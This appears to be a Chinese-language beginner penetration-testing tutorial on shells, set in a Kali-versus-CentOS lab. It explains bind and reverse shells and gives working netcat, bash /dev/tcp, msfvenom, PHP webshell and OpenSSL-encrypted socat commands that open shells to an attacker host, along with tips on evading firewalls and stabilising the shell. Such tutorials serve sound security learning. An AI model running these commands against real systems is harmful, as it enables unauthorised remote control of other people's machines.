渗透测试中关于shell的初学者话题
何为shell,shell如何处理,正向/反向shell如何构建,加密的shell可以如何建立,交互式shell与普通的shell有何区别,普通的shell如何升级为交互式的shell
Shell定义
在计算机中,shell是将操作系统的服务暴露给人类用户或其他程序的计算机程序。通常,操作系统外壳使用命令行界面(CLI)或图形用户界面(GUI),这取决于计算机的角色和特定操作。 它被命名为shell是因为它是操作系统的最外层(外壳)。Windows的资源管理系统和Unix,Linux的sh,bash,zsh等
shell处理
- 接受用户输入: 用户在命令行界面中键入命令,Shell负责接受这些输入。
- 解析命令: Shell会解析用户输入的命令,分析命令的结构和语法,以确保命令被正确理解。如果命令有错误,Shell通常会返回错误消息。
- 查找命令: Shell会查找用户输入的命令对应的可执行文件或系统内置命令。这个过程通常涉及查找系统的环境变量,以确定可执行文件的路径。
- 执行命令: 找到可执行文件后,Shell会启动一个新的进程,并将命令传递给该进程。进程会执行相应的操作,可以是运行一个程序、操作文件、配置系统等。在执行期间,Shell通常会等待命令执行完毕。
- 显示输出: 如果命令产生了输出(例如文本、错误消息等),Shell会将输出显示在用户界面上,以便用户查看。
- 等待新命令: 在命令执行完毕后,Shell会等待用户输入下一个命令,然后重复上述步骤。
shell建立
工具:
netcat:相对来说不太稳定
socat:比较稳定,语法相对netcat来说也比较复杂,但是可以建立完全交互式shell,并且可以加密
…
我使用kali作为攻击机,centos作为目标机,已经关闭了kali和centos的防火墙
sudo systemctl stop firewalld |
正向shell(Bind Shell)
server开启监听,client->server
如ssh服务
使用netcat建立正向shell
目标机:
nc -lvnp 1234 -e /bin/bash |
-l
: 这个选项表示nc
应该处于监听(listen)模式,等待来自客户端的连接。
-v
: 这个选项启用详细输出模式,使得nc
在运行时会显示更多信息,包括连接和数据传输的详细信息。
-n
: 这个选项禁用DNS解析,使得nc
在建立连接时不会尝试将IP地址解析为主机名。
-p 1234
: 这个选项指定nc
监听的端口号是1234。客户端将会连接到这个端口。
-e /bin/bash
: 这个选项指定在客户端连接上来时,nc
应该执行的命令。在这个例子中,它指定在连接建立后,应该执行/bin/bash
,也就是启动一个Bash Shell。由于这个命令是在监听端(服务端)执行的,一旦有客户端连接,它将会获得一个交互式的Bash Shell。
攻击机
nc ip 1234 |
建立的就是正向shell
反向shell(Reverse Shell)
client开启监听,server->client
kali开启监听:
nc -lvnp 1234 |
生成bash反弹shell
sudo msfvenom -p cmd/unix/reverse_bash lhost= lport=1234 -f raw |
攻击机执行:
bash -c '0<&87-;exec 87<>/dev/tcp/ip/1234;bash <&87 >&87 2>&87' |
还有许多其他类型的反弹shell
如PHP反弹shell
kali开启监听
nc -lvnp 1234 |
在centos中用apache和php搭建一个简单的环境
kali中已经有许多webshell了,选用/usr/share/webshells/php/php-reverse-shell.php
将49行改为攻击机IP,50行改成攻击机监听的端口
kali:
curl http://target_ip/index.php |
建立反向shell
shell加密
保护敏感数据: 如果Shell命令中包含敏感信息,例如密码、私钥等,加密可以确保这些信息在传输过程中不被窃取。
数据隐私: 有时候,Shell命令可能包含敏感的业务逻辑、数据处理等内容,对这些内容进行加密可以确保数据隐私,防止信息泄露。
防止中间人攻击: 在网络通信中,中间人攻击是一种常见的攻击方式,攻击者可以截获传输中的数据。加密可以防止中间人攻击,确保通信双方的数据安全。
确保数据完整性: 除了加密,数字签名等技术也可以用于验证数据的完整性,确保传输过程中数据没有被篡改。
符合合规性和法规要求
防火墙规避
对shell进行加密
kali:
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.mikannse.com/O=mikannse /C=UK' -nodes -keyout mikannse-reverse.key -out mikannse-reverse.crt |
cat mikannse-reverse.key mikannse-reverse.crt > mikannse-reverse.pem |
socat -d -d OPENSSL-LISTEN:4443,cert=mikannse-reverse.pem,verify=0,fork STDOUT |
目标机执行:
socat OPENSSL:attacker_ip:4443,verify=0 EXEC:/bin/bash |
建立shell
并且流量是加密的
交互式shell
什么是交互式shell
交互式shell,指的是你可以输入命令并获得执行结果的shell。而非交互式shell,一般是执行一个命令、一个脚本的shell,它们通常不需要人工干预,例如系统维护脚本、后台脚本等。
标准输入流和错误流没有连接到终端的shell,例如系统启动脚本、维护脚本,它们不需要交互。
当我们拿到一些webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top、ssh等命令时,webshell就无能为力了。
如何建立交互式shell(提升shell交互性)
python3 -c "import pty;pty.spawn('/bin/bash')" |
用python开启一个伪终端
export TERM=xterm-color |
export
:这是一个Shell命令,用于将环境变量导出,使其在当前Shell会话和其子进程中可用。TERM=xterm-color
:这个命令将TERM
环境变量设置为xterm-color
。xterm-color
是一种终端类型,通常用于支持 ANSI 颜色代码的终端仿真器。这样设置TERM
环境变量告诉系统和应用程序,当前的终端仿真器支持 ANSI 颜色。
通过将 TERM
设置为 xterm-color
,终端仿真器就知道它应该能够显示颜色文本,而不仅仅是单色文本。这对于具有彩色输出的应用程序(例如彩色的ls命令输出)非常重要,因为这样可以确保文本以适当的颜色呈现给用户,提供更好的可视化体验。
在nc建立监听时
rlwrap -cAr nc -lvnp 1234 |
rlwrap
是rlwrap
工具的启动命令。-cAr是rlwrap
的选项:
-c
选项表示不保存历史记录(这个选项不会保存已经输入的命令,它适用于监听服务端口的情况,通常用于监听Shell反弹)。-A
选项表示自动补全功能(启用命令行自动补全)。-r
选项表示使用回退模式(即支持使用Ctrl + R进行历史命令的反向搜索)。
使用socat
socat TCP-L:<port> FILE:`tty`,raw,echo=0 |
需要目标机有socat
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane |